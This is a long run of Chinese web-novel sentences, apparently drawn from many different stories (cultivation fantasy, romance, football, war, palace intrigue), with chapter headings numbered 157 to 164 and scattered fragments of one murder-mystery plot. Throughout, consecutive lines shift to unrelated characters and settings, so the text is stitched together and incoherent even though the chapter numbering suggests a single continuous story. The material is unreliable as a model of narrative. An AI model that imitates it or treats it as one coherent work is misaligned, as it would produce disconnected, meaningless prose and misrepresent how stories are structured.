一旦诛仙剑中凝聚出真正的先天杀机,就算是比之前世那件赫赫有名的大杀器,诛仙剑恐怖也会不差分毫,那个时候不要说元器,说不定诛仙剑就会变成像凌云塔那般的帝器。
舞台后方临时搭建的化妆室里,苏锦瑟和她的队友都对着镜子自行化妆检查和整理自己的舞鞋,在过两场就该她们出场了,她们却变得紧张不安起来。
“这样吧如果你们不介意,我陪你们一起见一见,可好?”沈氏不放心,担心秦力生会对两个孩子不利。毕竟裴舒凡已经去了这么多年,这位秦管事却是一直稳稳当当地做着他外院大管事的位置,谁知道他如今是谁的人?
感谢你们,感谢你们见证我们的成长,感谢你们在我最无助的时候提供你们的鼓励。
台下响起一阵热烈掌声。尚琦脸上的神情有点不自然。在美国一别后,习景芃经常会给她发微信,她却没有回过。骆漪辰也是一愣,如果早知道今晚情敌会出现,他肯定不带老婆来。
就这样,他们俩一直沉默了十几分钟。到了苏羽芊说的那家咖啡厅,他把车停在咖啡厅门口,让苏羽芊先下车,自己开车把车停到停车场。
可挠不仅不止痒,反而感觉那些细刺扎的更疯狂了,可痒得太难受,她又不得不继续挠,皮肤都被挠烂了。
“大哥有事?”李泰见李承乾脸上憋着不怀好意的笑,微微挑眉。
说到这里,西门飞雪嘿嘿一笑,让徐凡觉得人设瞬间崩塌,说好的严厉的教导主任呢?
最后还是陆军方面派遣了一个步兵师,和海军方面临时组建的一个陆战团从陆地上对曲平海军基地发起进攻。
“你们用那招拖延一时半刻,我想办法破除此阵。”刀疤脸看到御兽门的弟子法力和精力都已到了极限,于是咬牙沉声说道。
有了青山石油公司的庞大利润,再加上连关县的税收补充,短时间内林子然是能够维持这个局面的。
后者反应不及,被光华打了个正着,还没等她做出反应,一股寒意便猛地升起,将姬华捏着玉符的左手牢牢冻结了起来。
这里可能是一个强大神祇的领域,也可能是上古两位神王没有探寻的地方,一切都有可能。
第一卷 第157章 瘟疫
为了不引起恐慌,颜正初当然选择秘而不宣,却向二人大致问了一下巧姑娘的情况。
通过伙计的阐述,可以知晓,这巧姑娘家是开豆腐铺子的。
只因她长得漂亮,性格温婉,便得了一个“豆腐西施”的名号。
镇上的人都很喜欢她。
喵喵脸一红,突然就想起来昨晚发生了什么,她脸红的能滴出血来。
而君墨涵和大宝守在马车旁,有想靠近的马车的盗匪,通通被他们拍晕。
月倾城飞速地拿出一个玉瓶,然后利落地倒出几颗丹药,喂入君墨涵的嘴里。
“撤。”经过一番剧烈的心理斗争,北斗紧紧地握住了自己的拳头,生涩地说出了那个他非常不情愿说出的字。
君无邪的话,冷硬的近乎无情,可是他们二人却知道,君无邪之所以说的这般无情,不过是因为她不愿连累他们。
另外李树初还大力扶持山东的纺纱业和采矿、冶金业。依靠河南和山东两省迅速扩大的棉花产量,山东的棉纺业现在已经后来居上,大有赶超传统的棉布产地苏松地区的势头。
各式各样的声音交集在一起,看似杂乱无章,偏偏又那么的整齐划一。
诸葛灏听到诸葛泓的回答,不由挺了挺身子,同时看向云拂晓,目光里慢慢的都是担心,怎么会这样?刚刚不是恢复了?
“我们会回去的。”祭师寒晖收了手,开始给多吉包扎,轻声的道了一声。
阮氏和方父、方慧看看这样、摸摸那样笑个不停,不时讨论说笑几句,显然十分满意。
一名进攻型球员,无法在攻势上为球队提供帮助,那就是不合格的。
就好像上个赛季中后期,霍芬海姆遭遇了大面积的伤病情况,锋线几乎陷入了无人可用的困境,在这种情况下,球员就算数据好属性高又有什么用?连出场都没办法做到,后面的自然更不用奢谈了。
毕竟只是在决赛结束后充当颁奖嘉宾,不需要做其它事情,就跟露脸刷存在感没什么区别,时间自由充裕得很,曾恪干脆就将这次首府之行,当做一次全家自驾游了。
大型和中型的防御法阵黄轩能不能做出来,陆天宇不知道,但防御法阵也不是一下子能制作出来的,修为高一点的修士身上都有微型防御法阵,但更多的修士身上可没有随身携带微型防御法阵的实力。
“难道我害怕他不成。”苏问也不与陈茂川论道这其中的再一再二再三,毕竟从始至终他都没有因为那男子而顾虑什么,心头本就被胡仙草弄得毛焦火辣,若是对方真不开眼,他也不介意好好教训一番。
如果刚才没有念动法诀,恐怕有人去触碰,会被这灵阵直接灭杀。
玛绣招了招手,还靠在大狼犬背上休息的黄色宝可梦立刻炫耀似的往戴洛面前一站。
可是,这个道字现在依然存在于这条宝骨之上,并不能进入自己的身体里。
丹尼带着伊万去找佐伊族头人,陆天宇带着伊娜偷偷的潜入土著人的祭坛,土著人的祭坛是祭拜祖先和神灵的地方,除了门口有几个土著人外,里面连一个土著人都没有看见,难怪伊娜可以轻易的将土著人圣物偷出来。
足球已经绕到了禁区右侧靠近球门柱的方向,距离底线也只有一步之遥。而就是在这将出未出的时候,一道红色的身影却突然的出现,一个标准的旱地拔葱,高高跃起。
第一卷 第158章 虫杀
两人迅速上楼去,恰好撞见住在隔壁房的任风玦,也推门而出。
“发生什么事了?”
众人目光一齐向余琅房中望去,只见房门敞开着,那小二倒在地上,手中烛灯已滚到了门边。
颜正初当即第一个冲了进去。
他俯身查看情况,却发现小二张大嘴巴,瞪大了眼睛,惊恐之色尚凝聚在面上,却已是气绝身亡。
“别动!否则我可不敢保证我这些士兵的枪不会走火。”就在他们刚刚要拔枪的时候,楚昊然冷声的喝了起来,让那些保镖的手顿时停了下来。
扎戈拉玛祖先窥探鬼洞秘密的诅咒,有了凤凰胆才可以彻底解除。
不过考虑到火烧山那粗犷而不修边幅的面容,瑟提可以肯定自己硬不起来……好看不好看是一说,但最起码得是个母的把?
何秋燕跟着李尚善,目光迷离的在一栋栋别墅上闪过,眼中涌现欣羡之色。
陆谨胜不知道,如果没有叶行,陆初雪根本就拉不到这十五亿的投资。
桑城隶属于H市,在江南一带,距离京城不算特别远,但也不近就是了。
叶寒程也不知道这是什么情况,前世他和他老婆结婚以后,因为两人还没做好要孩子的准备,所以一直都有做好避孕措施。
“我不冷。”叶寒程不知从哪儿去拿了个雪铲,这边铲点雪,那边铲点雪,跟玩似的。
一声轻微的爆炸之声响起,盘踞在星傀四周的灵气以肉眼可见的度迅的收缩,最后现出了星傀的身影。
不仅是施煜与他平等结交,就连省里也很少有人敢对他们投资的作品指手划脚。
这世界上有一种人,误解了世界,却责怪世界欺骗了自己。错看了自己,却埋怨命运的不公。
云稹大惊,届时才发现他的天行剑已没了踪影,也不及考虑抓起身旁的石子用尽内力弹去。
听到艾伦这么一吼,阿什利希尔总算稍稍侧过了头,斜眼看向了他。
赵喜儿,陈洁昊齐刷刷地摘下了茶色眼镜和鸭舌帽子,赵喜儿习惯性地撩动着乌黑油亮的头发,一阵茉~~莉花的清香扑鼻而来,他顿时懵住了。
“家里还有什么没有公开展示在村民们面前的财产。”傍晚,张冶山作为一家之长,在院子中召开了一次家庭会议。
北美,亚利桑那州,菲尼克斯,西凤凰城,北美珠宝行业联合会所在的摩天大楼。
“那为什么……”艾伦听到这里大惑不解。据他所知,阿什利希尔突然有一天便从战争中抽身了,并没有让赫普回归和平。
当时张家家庭贫困,李桂梅有时常到医院去疗养,经济拮据,一些灵魂肮脏,人品下贱的左右邻里生怕被借钱避之如瘟神,几乎不在同一条巷子走动。
元尘凝现右手一颗炽热的火球,上面涌出源源不断的纯阳力量;左手转化出一轮圣洁的月华,极寒的玄阴之力犹如江河般宁静。
李牧野走进会所,径直来到之前约定见面的房间,敲开门就看到一张中年男人温和的笑脸。
然后,方天画戟再次出现在手中,猛然向刚刚重组身体的星大万杀去。
次日一早,张宁宁因为厨房没米了,去对面的粮食店买,一进门老板看她的眼神就怪怪的,反正就买个米,等会就回去。
它一边数落,一边费力的从她的臂弯里出来,转了一个圈,拎起被子给她盖好,随后窝在她身边,也沉沉的睡去。
第一卷 第159章 镇衙
就是吃饭时,三人专门去了餐车。火车上的饭你不能抱太大的希望,不过却也比想象中好很多。
钟淇好脾气的拿着东西,又对费振华点头打招呼。这才带着几人进了屋子。
四王妃此时心里又急又气,她想说话,依旧是提不出声音来,又不想去当着众人的面颜面尽失,只能生生的忍着。
所以当许国华突兀的出现在康风县的时候,姜重确实有些傻眼了。
颐图之所以能够成为将军,是身为四皇子的闫钟夜一手扶持起来的。
袁强愣了一下,回过神儿后点了点头马上就是钻进了驾驶位上,带着许国华风驰电掣般向贾石镇赶去。
因此,现在她不但心伤,连身上也都是伤,她要离开,她想着去暗夜之城找姑母,可是姑母曾经也不是很喜欢她。
此时,雨儿已经来到了逸阳他们的面前,笑嘻嘻的样子,很难让人再发火。
不过袁绍华本来就不想要娶妻,他肯同意举办这个赏花宴也不过是没有经住辛月雨的劝说,所以对于赏花宴能不能举办袁绍华倒是没有多少的在乎。
傻乎乎的安悦宁就这样被她唬住了,于是她就不敢有任何隐瞒的告诉了她,一点点的细节都没有放过。
当他视线恢复光明的时候,眼神中有幽光一闪而过,荡魔剑经的感悟,似乎没有那么困难。
等天亮时,各个城池的老百姓这才发现,一晚上过去居然大变天了。
“怎么了子琪?有什么事吗?”听到林子琪的声音后,关婷婷转过头,看着她一脸疑惑的开口说道。
跑出来的鬼子,一眼就看到眼前的这一支八路军队伍,正在用迫击炮对着他们轰,当场吓得叽里呱啦鬼叫,惊恐地朝着四面八方逃跑。
他心中汹涌,难以平静,一双眸子中充满精光,越看越是喜欢李道。
并不是他不会回答这个问题,而是他也才反应过来,李余年话里有话!尤其是,刚才他趁机嘲讽李余年的时候,吴长喜竟突然瞪了他一眼!难道这其中,还有什么玄机不成?
苏芷瑶这一分神,冰风婆婆右手横移而却的刀锏已经架上了苏芷瑶的仙剑,左右斜撩而上的刀锏自冲着苏芷瑶腰部斩去,瞬间就要将苏芷瑶开肠破肚。
然后阿丽跟我讲起来昨天发生的事情,我听了后不停地点头,并应和着。
因为他的万冥宗,就是坐落于冥幽宗的原有洞天内,借着他们残留的力量,发展了千年,才有如今福生天一流的实力的。
看着佐须道像手中天尺镜中的画面渐渐明朗,那的确是左右手各拿一件武器的人影,井川卫夫心中满是苦涩。
为了感谢墨客和罗万美的收留,李雪亲自下厨,不过她的厨艺显然不算太好,甚至连墨客都有些不如。
我揉了揉眼,陈头,李大哥,肌肉宋,三郎,龙氏兄弟,赫思远,谢依还有欧洲人安德烈,其它的人都没有什么,只是安德烈的一只胳膊挂在胸前,被简单的进行了包扎。
高速依山而建,落差十来米,甚至能够看到巨大的水泥柱子支撑着公路,要知道,这高速修了也就几年的时间,虽然让人惊叹,可想想高速还没修起来的时候,这里进出可十分的不方便。
三个龙头不停的靠近,三种颜色的光芒越来越近!三头龙尝试着将三种颜色的光芒融合起来。
他下意识的掏出手机,可惜别说是未接来电,就连一条信息都没有,也就是还没有得到可以回去的指令。
姬玥在屋子里做了一会儿,便拿出一张传讯的符咒,通知离风前来。
朱天伦说完,带着剩余的三个士兵追了过去,凤青龙我们几人又呆了一分多钟,才下决心追了上去。
一个白衣飘飘的男子斜斜靠在酒馆的门框上,嘴角勾起一抹肆意风流的笑容,他比冥寒枫的绝世少了一丝妖孽,却比月无尘的出尘多了一丝风流。
“我会安排最近的军事基地派直升机去安顺市的武警总队驻地,到时候前辈你直接坐直升机前往夜郎军区,那边已经有飞机等候着。”陈奇开口道。
魔王阿德莱德吩咐完一通后,她就缩回王座上,继续当一只咸鱼魔王。
“阿勇,”林氏一看到他,脸上的紧绷也消失了,换成了松懈。刚才,她的心一直紧绷着,就怕人家用强的。要是人家丢下聘礼了,到时候鱼儿是有理说不清,更要被戳着脊梁骨骂她不清不楚了。
电光火石之间,无数个想法在莫三莫脑海中来回翻滚了一遍,最后莫三莫忽然冷笑一声,再次使出了“李代桃僵”把自己同另一具尸体换了个位置。
蔓萝将目光投射在我的身上,我到没有那么激动,但是胸口还是闷闷的。
那把作为凶器的梳子不仅暗淡黄,还带着浓重的土腥气,即使它刚刚沾过人血,也难以掩饰那股刺鼻的气味。显然是在土里埋过些年头。
第一卷 第160章 惊魂
听完整件事情经过,任风玦思索了一下才问道:“当时可有验尸?”
李成一脸为难:“那样的情形,仵作根本无从下手,只能是…略微检验了一下。”
“没有任何发现?”
李成更加为难了。
后面木森还连续说了些注意事项,但目的就这一个。最终木森还把满阳泽调到了丙寅班,陈大帅、宫岛等几个骨干也跟着满阳泽一起调了过来。丙寅班毕竟是一个新班,如果没有老生的带领,他们很难在短时间内形成合力。
黑虎堂堂主和博云庄庄主起身告辞,留下唐伯清和唐成河父子依旧在庭院原地。
天帅的语气缓慢,仿佛在诉说着一件毫不起眼的事情,转过身来,对着那近百名天族缓缓说道。
他再次回到商业广场,看到钱生和朱立两位石雕界的宗师已经带着他们的徒弟继续雕刻那些石头。
那可是他师父的老丈人,不能有闪失,万一擦伤碰破,师父师母这两个活宝,撒气泼来,够他受的。但是恢复不了,那是他的【本命金翅翎】出了问题,自己完全可以找到理由。
就在她心里两股意志相互交战的时候,一股清清的凉意从她佩戴的朱雀道符中流淌了出来,何可睛心神一动,立即摆脱了对方的意志影响。
刘江涛只觉得心神安宁,一切杂念全都离自己远去。其它队员的情况也都和他类似,一个个宁神静气,等待罗浩开讲。
这一景象波特曼看在眼里,嘴里大骂手下废物的同时,也连忙组织手下进行反击。
龙儿刚走到一半,正要接近洛宇天的路程之中。突然听见身后一阵‘轰’的声音响起。
而那些刺头学生本来是自以为天老大我老二的一帮人,可自打被修一番教训之后,对修的话那叫一个言听计从。这不,一听见修让他们去学院门口闹事,纷纷拍着胸脯向修保证,绝对让学院门口的那帮士兵不得安宁。
选修课结果下来了,我选中的居然是应用软件,而且到底是什么软件也没有说明。不过听说交这门课的老师有百人斩之称,能在她的课上拿优的基本上没有,拿良好的寥寥无几,及格的倒是有十好几个,挂掉的比比皆是。
“呵呵,没有想到这店面虽然不大,但是饭菜的味道却是这么美妙。”哈里笑着赞叹道。
只见巨坑之中尘土飞扬,依然有几道雷光像似电蛇一般闪动着,并且有烤肉的焦糊味道传递出来。
楚云话音刚落,那堆白骨就一阵抖动,然后竟然自行重组成一具人体骨架,呈现在他们面前。
蔚蓝点头,早就习惯了他的少语,有沐天尘和‘天一门’的其他修士带领着全沐府的数百名护卫维持秩序,想来也不会出现什么意外的,蔚蓝想到。
我说完之后头也不回的就走了,我生气,我气愤,我想痛扁沈宥南一顿,不是因为他拆散我跟林旭,就算是叶阑珊的表哥没来,林旭跟我分开也是迟早的事,只是发生的早晚而已。
“就这些?”楚云满脸失望,隆基努斯的收获是巨大的,但却有点不明不白,这野蛮人是什么种族?隆基努斯又怎么会获得他们的传承?莫非他有野蛮人一族的血脉?
第一卷 第161章 尸虫
其实,这在商业界并不稀奇,甚至有更加阴损的套路,只不过,这些事都被企业家花钱洗白了而已,寻常人鲜少知道。
任意球的地点不如刚才j罗那么理想,偏而且远。但在卓杨的威慑力之下,哥伦比亚仍然谨慎地排出了六名人墙。
脸上的凝重依然未褪,陈八两伸出双手擦拭着她夺眶而出的泪水。
“唔,等等吧。”陈风正在考虑着某些事,听见白日飞升发问,下意识地轻唔了一下。
姬然遗憾的摇了摇头,这是她过的最惨的一个生日了,没有生日礼物,没有祝福,连钱都没有了。
“薛鈅,你可知炎龙星是什么星球吗?它的附近星域生活着什么样的存在吗?”赛博坦不答反问,一连就问出了两个问题。
卓杨判断得非常正确,巴萨更衣室在两年中没有传出过一句对他的非议,甚至还在媒体和球迷面前竭力维护卓杨,肯定他对于巴萨历史的贡献。
一直跟到E6通道,他看见卓杨从挂壁电箱顶上取下钥匙,打开房门站了几秒钟后,走进去房门随之关闭,马尔蒂尼这才拐出来四周又看了看,也走到那扇米色房门口站定。
而不知什么原因,此后进行的每场比赛,尤其是四大家族子弟参加的比赛似乎都有些不一样了,这些代表四大家族参赛的子弟,带着‘任务’参赛的他们似乎更加拼命了,为何会如此不知道,大概是因为决赛临近了吧。
就在陈风收起地图,想要钻进山洞里的时候,两道了亮丽的炫目光晕自洞口升起,生生阻住了他的脚步。
云四道身边两个玄衣劲装的青年内心早就堵着一口气,见状抬脚就踩在余凡和石子鸣正想扬起的脑袋之上。
我伸出双手抱紧了他。这是我第一次主动抱他,也是第一次因他的话而动容。
我蓦然惊醒,心窝处的痛楚似乎还未止息,我坐起身来喘着气,汗湿了中衣,脸上凉凉的一片。
而凌潇潇,南宫阳成,张老,烈老等人开心的同时,也是如释重负。
就算是那晚上,他失控地吻了自己,他也不曾这样子。此刻的他,双眸泛红,那眼底的最深处像是藏着一头野兽,正蠢蠢欲动,好似在下一秒就会扑出来将人给生生撕碎了。
“匹夫无礼,先吃爷爷一刀再说!”史进闻言大怒,复起一刀搠往邬梨。
常年坐在办公室缺乏锻炼的虚胖中年人一只手根本拦不住出栏的野猪般的我,来不及惊讶于我在言语方面对他的顶撞,马上挺起松散的身躯,举起双手,用全身气力抵抗我物理意义上的顶撞。
“马上把朱雀找回来,这是西戎,不是天都。她四处乱窜就不怕打草惊蛇?”慕程皱眉,负手走到了楼上的三号房。
黄源末的警惕,与其他人兴奋的表情,在这个山坳里面,形成了鲜明的对比。
宋夫人见她体贴,心中安慰,抬手在她手背拍了拍,一切尽在不言中,不过……宋昀确实是该定一门亲事了。
一旁,寒水泽、薛凌和刘峰都在旁观,想要看看齐宝要怎么处理眼前这个局面。
“我靠,安利,你在干啥?上单树人会被波比单杀?”保罗沉不住气了,波比这种上单还能单杀老树?这不是他喵的逗我吧?
“总大将现在不是说这些的时候,我们赶紧撤退吧!”带着奴良滑瓢左冲右突不知不觉中就吸引了附近大妖怪的注意,而且成功的逃到了外面。
亚伯拉更加恐惧了,这灭神矛光是运载就需要一艘舰船,其中之重量,就算是他们开着机甲运用全部的精神力都无法拿动。
张浩然原本安安心心地看着直播,一听到这个声音突然打了个喷嚏,手机掉到了地上,眼睛瞪得大大的:这个声音……怎么这么耳熟?脑海里一个面孔出现了,这这这,这不是牛魔王的声音吗?
头领依然抽着大\/麻烟在吞云吐雾,等手下汇报完了,这才吐出最后一口白烟,将烟屁股扔在地上,用脚狠狠碾了一下,眼中露出凶狠的光芒。
耶梦加得抬起头,呼地喷出一口浓浓的毒烟,整个船舱立即弥漫着浓浓的腥臭味。
本来好不容易打掉了二分之一的血,怎么点燃没了之后,血越打越多了呢?
当所有人都在天空中寻找那人踪迹之时,万起轩、孙磊和郑雨绎三人,不知何时从原地消失不见。
而云家那边,在莫子语的打击之上,此刻如同放在煎饼锅里面煎的鱼一样。垂死挣扎,或者说连死都要好一些。
想起今天发生的一切,先是与谈部长一起,擒住了自己的二师兄,然后又去城隍庙找秦医生,还和她一同在公用电话亭躲雨,要说起来,这段经历,还真是蛮不错的。
“我对你都这么好了,问你一个问题,你应该会如实回答我吧?”唐少岩又道。
接下来的日子,我又过上了形单影只的生活。我不再宅在家里,每天晚上,我都会到老友坐一坐。也不喝醉,两三瓶啤酒,默默的听着台上的秦沫唱着歌。偶尔还会和秦沫聊上一会儿。
顾兮兮回到自己的房间,将这些日子来发生的事情,慢慢的梳理一下,才恍然发现,自己太过疏忽了。
抱着袁烨霆身体的许米诺也同样掏出了Z手枪对准翁老的后脑勺。
至于四来,我想借着暂时躲避的时间,天君与龙王能够查明缘由,那杀墨尘之举实非我意,完全是受了魔君控制所为,万不能错把好人当凶手,要抓也得去抓正主。
下了床后又轻唤两声,仍是没有应,透过木窗格看到外面的天已经在暗下来,她们抵达这里时还是下午,这一睡居然这么久。出了内屋,就见猎嫂在忙家务,却不见寒玉身影。
第一卷 第162章 村落
死物可以变成金子,人也可以,不过相应的,活人会变成“死物”,不再具有生命。
死亡的弟兄也全部安置好,并且除了安家费以外,陈凡还专门建立了一个基金会,每月拨款赡养这些人的直系亲属,让他们的生活有了一个保障,这些举动让陈凡一下子就收拢了下面很多人的心。
他浪迹江湖,其实在是斩妖除魔,可笑夏侯剑客,还以为是燕赤霞怕他,在躲他。
“好的,多谢福嫂了。”陈凡冲着福嫂道了一声谢,便推开门走了进去。
苏念警惕地盯着门口,手掌在床上摸着,找有没有什么防身的东西。
“行,等着吧!”陈伟起身去厨房,他本来,陈伟准备简单的搞点,可既然她们想要吃,陈伟自然不能够说随便应付之类的。
可是当他缩着脖子揣着手,晃晃悠悠来到空地上的时候,却发现村民们的脸上个个都挂着笑容。
让大妈们穿上花衣裳,在涂上腮红,想一想,画面太美,不忍直视。
尤其是宋之濛这种还没出道的偶像,不要太好弄,请人伪装同校同学发一条帖子,p图什么的,自然而然能带动网友们的吃瓜属性。
有李明通过国公府的情报网,加上令狐冲和林平之两位高手辅助,叶千羽才算放心。
今天的一切虽然都有些莫名其妙,但是皇后心里却还是很愉悦的。最起码帝后在表面上十分恩爱,羡煞旁人。
这两个道具在抽的时候用的材料都比较少,他想如果增大材料数量的话,或许以后能抽到那种足以逆天改命的强运效果吧。
“总而言之,鬼天帝有这般下场,完全是我们的长辈所赐,鬼天帝跟我们长辈为敌,我们的长辈,就杀了他,就这么简单。”令狐抢过白绝的话,直接明说了。
随即,数十道身影朝着林昊激射而来,目光并不是林昊,而是放在地上的天心石。
而他和苏诗诗相处的轻松,惬意,是她卸下面具后的真诚、娇媚。比如,此时。在这暮春的时光中,清丽、娴雅的大美人,慌乱中,流泻着她的娇媚风情。
端木良庸,出生在端木世家一个远支子孙,从J声偏远山区清镇鸡鸣山二十九岁出山,用了不到十年的时间,建立了属于自己的商业帝国。
白薛迦又抓着亚豆美保的手,让她亲自感受了一下,手腕一转,长剑下挑开龙套的武器,利用惯性回撩,然后碰到了她的胸。若是手肘向外一点,长剑刚好避开。
冯修贤舒了口气,如此就好,他就怕卷进了礼贤侯府与玳国公府的争端,这两家对他来说都是庞然大物,虽然被打的重,冯修贤也不想掺和进去。
天羽飞云出名是一件好事,但也让意剑飞雪颇为头疼,因为意剑飞雪可以想到,将会有多少玩家犹如洪水般汹涌而至。
沈栗心下电转,霎时间想起军中传言湘王近来屡次召见方士,更是连连做了几回法事。
天色渐渐昏暗,道路也越来越陡,越来越是险峻,耳中除了风雪的呼啸声,还有尖锐的鹰鸣,在空中不住叫唤,不知是不是将他当成了猎物,一直在他上空盘旋。
偌大的屋子只有虞子琛一人站在那里,清让顿时心里一咯噔,觉得哪里不对劲。
糖糖对着南宫冥失望的摇头,叹了口端着盘子屁颠屁颠的往回走。
陆灵霜,慢慢地打开了美丽,明亮的蝎子,如同水一样清澈,冷酷无比,似乎蕴含着雪,神秘而迷人。
早先莫辰就对陈岑他们说过,目前这种被困的状况,最好还是不要对铜镜男会伸出援手,抱有多大希望。
这猥琐老头也不着恼,嘻嘻哈哈站起身子还回头半鞠了个似是而非的躬,以表示感谢那个将他推到前台的人。
“夫人,这是你最爱喝的花茶。”玄音端着花茶在一旁哄了邵氏半天,她也没有个反应。
车里的清让觉得一阵冷,身上都起了毛。若不是外头没有旁人,她真不相信这样的话竟也出自虞子琛之口。
清让起身子,云泽伸手去搀她,她下了马车,回头还能瞧见京师的城墙。
一直以来,那些超脱之门除了打开的时候洗礼一下他的肉身和神魂之外,平时根本没发现有什么作用。但今天,再次出现。
凰水仙微微一笑,紧接着她看着这些至尊,那双蓝色和火红色眼眸迸射出骇人的杀意。
洛伦佐看着阴暗的楼梯间,常人难以窥觊到那片黑暗,但这对于身为猎魔人的洛伦佐而言不是问题。
欧董摇摇头,若无其事道:“稍安勿躁,能来这么多游客,说明它有值得学习的地方。
“好像是叫做守谷海水浴场的样子,因为明明是在胜浦却叫做守谷海水浴场,所以我还有点印象。”山本凉子插了句话,立花彩愣住了,然后看向了夏知。
他们有着同样的名字,洛伦佐相信两者之间一定有着什么关联,可洛伦佐回想起自己为何要取名“洛伦佐·霍尔默斯”时,他想不起来,他惊恐地发现他想不起来这些。
第一卷 第163章 态度
日子还要一天天的过着,真的明白了一句话,上学就是拿钱混日子,上班就是拿日子混钱,这句话很有道理,我现在就是拿日子混钱。
下水道有腐败气体,在加上死者有伤口,这也是增加死者腐败的程度,死者已经形成高度腐败的尸体,这种尸体比白骨死者还要麻烦,证据也不好找,法医最怕的尸体也是这一种。
她用手心手背温柔探了探他的额头,又摸了摸自己的,那满目担忧的神色,叫荀翊想要辩解的话全数卡在了喉咙里,他突然有些不想提醒她,任何人被寒风吹了这么久,肌肤表层温度肯定会有些略低的问题了。
“真是神了,我和秦丹丹已经保守秘密,还是让你知道了?”李三也是不可思议,他和秦丹丹找了几条街,好不容易找到嫌疑人的三轮车,本想卖个关子,万万没有想到,唐龙早就知道了。
“我们如果不查出朱艳顶罪的原因,估计现在去问她,她也不会承认,现在唯一的办法就是继续调查她。”秦丹丹说出她的担忧。
“对不起,下次不会了。”他低低地道歉,这一回,是百分百地真心实意。
“是,王爷。”暗影卫把月梦心跟丢了,看着王爷暴怒,心里满愧疚,恨不得王爷一刀把自己杀了,才能让王爷消去这心头之怒。
“你留在这里等我回来。”青莲见凌天也想去,立刻停下来阻止。
“该说的我也都说了!希望你好自为之!”说完,梦昭君飘然离去。
张亮望着祝玉妍两人离开的方向,对着身旁的几人拱了拱手后,便施展轻功离开了。
还没等科技部长说完,“停停,说点我能听懂的”双不耐烦的打断他,科技部长整理下思维“城主,那个巨人头骨的基因竟然寿命可以活到300-500年,成长率竟然是我们的几倍,怪不得能长这么大,这么高”。
老三老四和老五青思都见过,他们和青思也熟悉一点,见了青思就赶紧叫姐。
王楷笑着说道,“怎么会呢,温侯,等你抓回来那些黄巾贼,立刻砍了他们。
“好了,你俩也应该和我一起向武城汇报了,这只是敌人暂时性退兵,至于怎么安排,我们还是需要听武城的安排,你俩先聊着,我安排所有干部过来”森川一海一笑,拿起通话器,一个金刚机器人维修厂房临时成了会议厅。
哥仨都是化劲宗师,这速度自是不慢,只用了几分钟时间,就向着枪声传来的方向,又靠近了二里地。
花开两朵,各表一枝。咱们回过头来,再来说说这提前从这里经过的两波人,也就是担负诱敌重任的吴大虾哥仨和追击他们的三大高手。
切块的陈年直接放在炉子上炖羊肉,而剁成肉馅的陈年则是包饺子,羊肉萝卜馅。
听闻此言,王楷心中忽然一动,笑着说道,“徐州距离幽州太远,道路又不安全,我们只能在青州牵制袁绍军。
听着传回来的消息,梁晋几乎不敢相信自己的耳朵,拼命催促士兵加紧赶路。
都说到这里了,梓树多一个字都不敢说,灰溜溜就从宋静姝的面前消失。
牡丹峰烤肉,这是他最经常来的地方。从高中开始,他便跟自己的很多同学和朋友来过这里,当然,也包括兰欣。
“本王乃圣元帝国锦王,老先生可以介绍一下你自已了吧。”看向灵魂体,秦静渊说道。
“不会的,不会的,我也不太会!”舒云急忙摆手道,事实上身为声乐老师的他,怎么会没学过这个,只是这么邀请一个异性跳舞,还是头一次。
“王鸽在吗?”门外的是一个身穿白色西装,头发梳得一丝不苟的年轻男人。他戴着金边眼镜,全身上下的衣服没有一丝褶皱,虽然看起来穿的少,但是在他的身上却感受不出一丁点儿寒冷,让人看起来无比温暖。
“怎么出的事儿?”王鸽见已经没活干了,顺嘴问了一句。见惯了生死的他已经不会觉得有什么震惊的了。
一百坛可不是一百斤,每坛装有一百斤烧刀子,一百坛就是一万斤,就算是最大的酿酒坊恐怕每个月也拿不出一百坛卖给安禄山,这在普通人看来已经是极限了,足够显示甄乾的诚意。
商业上不存在仁慈,干掉所有对手,最后一家独大,才是最终的目标。
俗话说得好,怕什么来什么,王鸽还没来得及回答几个同事的询问和建议,医院行政人事部门的欧主任就已经找上门了。
众人心里都有数,今天逛园子不是重点,下馆子同样也不是重点。
陈乔山不置可否,这些都只是两人的猜测而已,具体是个什么情况吗,谁也说不清。
墨霜一阵调侃,心里却是明白,龙飞真要是这样随便的人,那他在自己心目中的形象可是要大打折扣了。
就在她打算找个理由离开的时候,虚掩的门被一个穿着西装的中年男人从里面打开,见着夏婉儿,他肥腻的脸上挤出了一个看不见眼睛的笑。
屋里有一股淡淡的怪味,并不臭,但是让人闻着有微微的窒息感。
看到这几个字眼,林枫脸色顿时变得无比肃然,微眯的冷峻眸子中,隐隐闪烁着一丝危险的寒光。
次日早上,郗浮薇给邹琼若几个上完课,收拾东西回去后堂歇息,就看到这边已经候了一个三十来岁的管事娘子。
“你还真不客气,等着。”秦可欣虽然瞪了王旭东一眼,但是还是高高兴兴的披着外套走了出去。
“属下知道了。”郗浮薇倒是明白,沈窃蓝这话是在暗示自己,主仆有别,没必要被这丫鬟压住。
不得不说,地下拳赛就是一个很容易赚到大钱的途径,所以雷东才会这么看中龙飞的本事,希望龙飞可以帮他赚到更多的钱。
傅绰仙跟郗浮薇认识没几天,由于邹一昂的挑拨离间,彼此之间不免暗含敌意。
第一卷 第164章 自缢
“真的么?”莫嵩笑着,其中的笑意似嘲讽,又似恶魔的微笑,让看到它的人感觉到心底瘆得慌,一股寒意随之来袭。
“我来感应寻血珠和寻发珠的指引,秋师姐指出易师兄和金伟的方向。我们一边寻找机缘一边与他们会合!”龙行一边取出两颗寻珠一边说道。
“七郎正有此意!本想明日去求见主公,没想到主公今日就来兵营了!”杨七郎颇为高兴道,显然是被刘德说中了心里的想法。
她原本的身体虽然能和正常人一样行动自如,也能感受到痛觉,但终究还是尸体。
但是如今,自身元婴可以畅游天地,本身更是可以直接沟通天地,当然就更加清楚其中本质了。
虽然在这个偏远的北原村治疗一些普通病症还将就,但是一遇到疑难杂症还是很头疼。
众将一听,皆是出言称赞,毕竟姬丰术所言以现在的情况的确算是一条良策了。
意识沉入丹田,看着占了整个丹田空间的二十分之一的内星辰,莫嵩在心中不免一声苦笑,但随即想到了陈叔——明天下午去找陈叔,说不定,陈叔那里有解决星能凝聚慢的方法呢。这样,就能够解决星能的问题了。
这个问题还真把他给拦住了,虽然他是房东,但她一声不吭不辞而别,根本无法联系上她。
二期工程占地面积甚广,除了住宅区,还规划出大量绿化面积,楼台水榭一应俱全。当然了,现在矗立在荒草之上的只有历经风霜的构筑雏形,放眼望去,除了地基坑就是砖瓦水泥。
